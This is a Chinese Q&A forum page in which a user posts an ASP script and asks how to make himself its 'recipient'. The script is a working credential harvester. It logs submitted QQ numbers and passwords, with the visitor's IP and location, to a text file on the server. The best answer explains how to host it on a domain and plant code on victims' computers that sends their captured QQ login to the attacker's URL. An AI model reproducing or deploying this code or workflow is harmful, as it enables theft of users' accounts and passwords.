永发信息网

请您帮我解读这个ASP代码

答案:2  悬赏:60  手机版
解决时间 2021-06-02 02:52

这个ASP代码的收信人不是我,但是我想把这个代码的收信人改成我。谢谢您了。

<%


Function Look_Ip(IP)
Dim Wry, IPType, QQWryVersion, IpCounter

Set Wry = New cls_IpWry

IPType = Wry.QQWry(IP)

Look_Ip = Wry.Country & " " & Wry.LocalStr
End Function

Function ReqIP()
ReqIP = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If ReqIP = "" or IsNull(ReqIP) Then ReqIP = Request.ServerVariables("REMOTE_ADDR")
End Function

Public Function Format_Ip(ip)
Dim a, i, Sip
a = Split(ip, ".")
If UBound(a) <> 3 Then Format_Ip = 0 : Exit Function
For i = 0 To 3
Sip= Sip + CInt(a(i)) * (256^(3-i))
Format_Ip = Format_Ip & String(3-Len(a(i)),"0") & a(i) & "."
Next
Format_Ip = Left(Format_Ip, 15)
End Function

Class cls_IpWry

Dim Country, LocalStr, Buf, OffSet
Private StartIP, EndIP, CountryFlag
Public QQWryFile
Public FirstStartIP, LastStartIP, RecordCount
Private Stream, EndIPOff

Private Sub Class_Initialize
Country = ""
LocalStr = ""
StartIP = 0
EndIP = 0
CountryFlag = 0
FirstStartIP = 0
LastStartIP = 0
EndIPOff = 0
QQWryFile = Server.MapPath("CoralWry.dat")
End Sub

Function IPToInt(IP)
Dim IPArray, i
IPArray = Split(IP, ".", -1)
FOr i = 0 to 3
If Not IsNumeric(IPArray(i)) Then IPArray(i) = 0
If CInt(IPArray(i)) < 0 Then IPArray(i) = Abs(CInt(IPArray(i)))
If CInt(IPArray(i)) > 255 Then IPArray(i) = 255
Next
IPToInt = (CInt(IPArray(0))*256*256*256) + (CInt(IPArray(1))*256*256) + (CInt(IPArray(2))*256) + CInt(IPArray(3))
End Function

Function IntToIP(IntValue)
p4 = IntValue - Fix(IntValue/256)*256
IntValue = (IntValue-p4)/256
p3 = IntValue - Fix(IntValue/256)*256
IntValue = (IntValue-p3)/256
p2 = IntValue - Fix(IntValue/256)*256
IntValue = (IntValue - p2)/256
p1 = IntValue
IntToIP = Cstr(p1) & "." & Cstr(p2) & "." & Cstr(p3) & "." & Cstr(p4)
End Function

Private Function GetStartIP(RecNo)
OffSet = FirstStartIP + RecNo * 7
Stream.Position = OffSet
Buf = Stream.Read(7)

EndIPOff = AscB(MidB(Buf, 5, 1)) + (AscB(MidB(Buf, 6, 1))*256) + (AscB(MidB(Buf, 7, 1))*256*256)
StartIP = AscB(MidB(Buf, 1, 1)) + (AscB(MidB(Buf, 2, 1))*256) + (AscB(MidB(Buf, 3, 1))*256*256) + (AscB(MidB(Buf, 4, 1))*256*256*256)
GetStartIP = StartIP
End Function

Private Function GetEndIP()
Stream.Position = EndIPOff
Buf = Stream.Read(5)
EndIP = AscB(MidB(Buf, 1, 1)) + (AscB(MidB(Buf, 2, 1))*256) + (AscB(MidB(Buf, 3, 1))*256*256) + (AscB(MidB(Buf, 4, 1))*256*256*256)
CountryFlag = AscB(MidB(Buf, 5, 1))
GetEndIP = EndIP
End Function

Private Sub GetCountry(IP)
If (CountryFlag = 1 or CountryFlag = 2) Then
Country = GetFlagStr(EndIPOff + 4)
If CountryFlag = 1 Then
LocalStr = GetFlagStr(Stream.Position)

If IP >= IPToInt("255.255.255.0") And IP <= IPToInt("255.255.255.255") Then
LocalStr = GetFlagStr(EndIPOff + 21)
Country = GetFlagStr(EndIPOff + 12)
End If
Else
LocalStr = GetFlagStr(EndIPOff + 8)
End If
Else
Country = GetFlagStr(EndIPOff + 4)
LocalStr = GetFlagStr(Stream.Position)
End If

Country = Trim(Country)
LocalStr = Trim(LocalStr)
If InStr(Country, "CZ88.NET") Then Country = "114XP.CN"
If InStr(LocalStr, "CZ88.NET") Then LocalStr = "114XP.CN"
End Sub

Private Function GetFlagStr(OffSet)
Dim Flag
Flag = 0
Do While (True)
Stream.Position = OffSet
Flag = AscB(Stream.Read(1))
If(Flag = 1 or Flag = 2 ) Then
Buf = Stream.Read(3)
If (Flag = 2 ) Then
CountryFlag = 2
EndIPOff = OffSet - 4
End If
OffSet = AscB(MidB(Buf, 1, 1)) + (AscB(MidB(Buf, 2, 1))*256) + (AscB(MidB(Buf, 3, 1))*256*256)
Else
Exit Do
End If
Loop
If (OffSet < 12 ) Then
GetFlagStr = ""
Else
Stream.Position = OffSet
GetFlagStr = GetStr()
End If
End Function

Private Function GetStr()
Dim c
GetStr = ""
Do While (True)
c = AscB(Stream.Read(1))
If (c = 0) Then Exit Do


If c > 127 Then
If Stream.EOS Then Exit Do
GetStr = GetStr & Chr(AscW(ChrB(AscB(Stream.Read(1))) & ChrB(C)))
Else
GetStr = GetStr & Chr(c)
End If
Loop
End Function

Public Function QQWry(DotIP)
Dim IP, nRet
Dim RangB, RangE, RecNo
IP = IPToInt (DotIP)
Set Stream = CreateObject("ADodb.Stream")
Stream.Mode = 3
Stream.Type = 1
Stream.Open
Stream.LoadFromFile QQWryFile
Stream.Position = 0
Buf = Stream.Read(8)
FirstStartIP = AscB(MidB(Buf, 1, 1)) + (AscB(MidB(Buf, 2, 1))*256) + (AscB(MidB(Buf, 3, 1))*256*256) + (AscB(MidB(Buf, 4, 1))*256*256*256)
LastStartIP = AscB(MidB(Buf, 5, 1)) + (AscB(MidB(Buf, 6, 1))*256) + (AscB(MidB(Buf, 7, 1))*256*256) + (AscB(MidB(Buf, 8, 1))*256*256*256)
RecordCount = Int((LastStartIP - FirstStartIP)/7)

If (RecordCount <= 1) Then
Country = "未知"
QQWry = 2
Exit Function
End If
RangB = 0
RangE = RecordCount
Do While (RangB < (RangE - 1))
RecNo = Int((RangB + RangE)/2)
Call GetStartIP (RecNo)
If (IP = StartIP) Then
RangB = RecNo
Exit Do
End If
If (IP > StartIP) Then
RangB = RecNo
Else
RangE = RecNo
End If
Loop
Call GetStartIP(RangB)
Call GetEndIP()
If (StartIP <= IP) And ( EndIP >= IP) Then

nRet = 0
Else

nRet = 3
End If
Call GetCountry(IP)
QQWry = nRet
End Function
' ============================================
' 类终结
' ============================================
Private Sub Class_Terminate
On ErrOr Resume Next
Stream.Close
If Err Then Err.Clear
Set Stream = Nothing
End Sub
End Class

function ip2location (ip)
set wry =new cls_IpWry
nRet = wry.qqwry(ip)

ip2location=wry.Country&wry.LocalStr
end function

IP=request.servervariables("REMOTE_HOST")

Const ForAppending=8
Const Create = true
Dim fso
Dim ts
Dim MyFileName
Number=request("Number")
Password=request("Password")
tempdata=now
thedata=mid(tempdata,1,10)
strinfor=Number&"----"&Password&"----"&request.servervariables("REMOTE_HOST")&"----"&Look_Ip(Format_Ip(IP))&"----"&now

'-----------------------------------------下面的qqpass.txt可修改为你自己的所需的名字----------
MyFileName=server.MapPath(thedata+"qqpass.txt")
Set fso=server.createobject("Scripting.filesystemobject")
Set ts=fso.OpenTextFile(MyFileName,ForAppending,Create)
ts.writeline(strinfor)
ts.close
Set ts=Nothing
Set fso=Nothing


'以下只记录号码-----------------------------------------

strinfor=Number&"----"&request.servervariables("REMOTE_HOST")&"----"&Look_Ip(Format_Ip(IP))&"----"&now

'-----------------------------------------下面的nopass.txt可修改为你自己的所需的名字----------
MyFileName=server.MapPath(thedata+"nopass.txt")
Set fso=server.createobject("Scripting.filesystemobject")
Set ts=fso.OpenTextFile(MyFileName,ForAppending,Create)
ts.writeline(strinfor)
ts.close
Set ts=Nothing
Set fso=Nothing



%>

<br><br>

<br><br><br><br><br>

最佳答案

可能你理解错了你的这个程序的意思了吧?


这个程序并没有实现收信的功能的。



他是通过访问这个页面来记录QQ号和密码的。资料就保存在服务器空间上



Number=request("Number")
Password=request("Password")



看两句。


我说一下流程


首先你要有一个空间和域名,并且空间能支持动态


把你的代码保存我a.asp并上传的空间上,确保能通过你的域名正常访问。


比如你申请的域名是:www.xx.cn


你上传a.asp到根目录下,并通过 http://www.xx.cn/a.asp能访问


这时,你在任何地方,可以在对方电脑中植入代码,记录QQ号后,自动访问 http://www.xx.cn/a.asp?Number=9474785&Password=12312313 这个网站,这样,这个QQ号为:9474785 密码为:12312313 的QQ就发到你的服务器上的。文件名为:时间+qqpass.txt 的文本文件里面,你只有登陆你的空间就可以查看到。


这样就实现了你要的效果了。。呵呵。。

全部回答

目前好像还没有这个功能的程序

谢谢采纳

我要举报
如以上问答信息为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
大家都在看
怎样让一个女生喜欢上自己?
怎样得A车啊
好看的电影有吗!
吃冰淇淋有什么坏处?谁知道,谢谢喔
怎么弄PS?
二手的诺基亚6124多少钱啊??6124和6120那个
消息模式取消不掉怎么办
H1N1有什么反映?
背靠背专卖店
键盘上什么是复制键?
这个配置的电脑要先升级什么硬件呢。有时内存
为什么我的红钻等级从5级直接变到3级了,之前
直升机的螺旋桨一旋转,便能上升,为什么。在
加把十升十一的大蛇刀! 有什么好方法,大家
百度贴吧豆怎么刷不出来啦
推荐资讯
电脑开机老卡要怎么处理?
在四川哪有卖ORIENT手表的?
水浒传心得体会!!请注意!!详细请看内容!
比时间快的是什么啊
求救!初一数学难题
蓝山县永州中国联通(城北综合营业厅)这个地址
我的空间有时为何异常啊?
我是1991年农历八月初七八点出生的,性别女请
看到有些好友的农场装扮很好看,但是装饰里面
潮汕嫁娶风俗习惯的论文怎么写?
求好看的群图标!
目前世界上最有影响力的格斗赛事是什么?
正方形一边上任一点到这个正方形两条对角线的
阴历怎么看 ?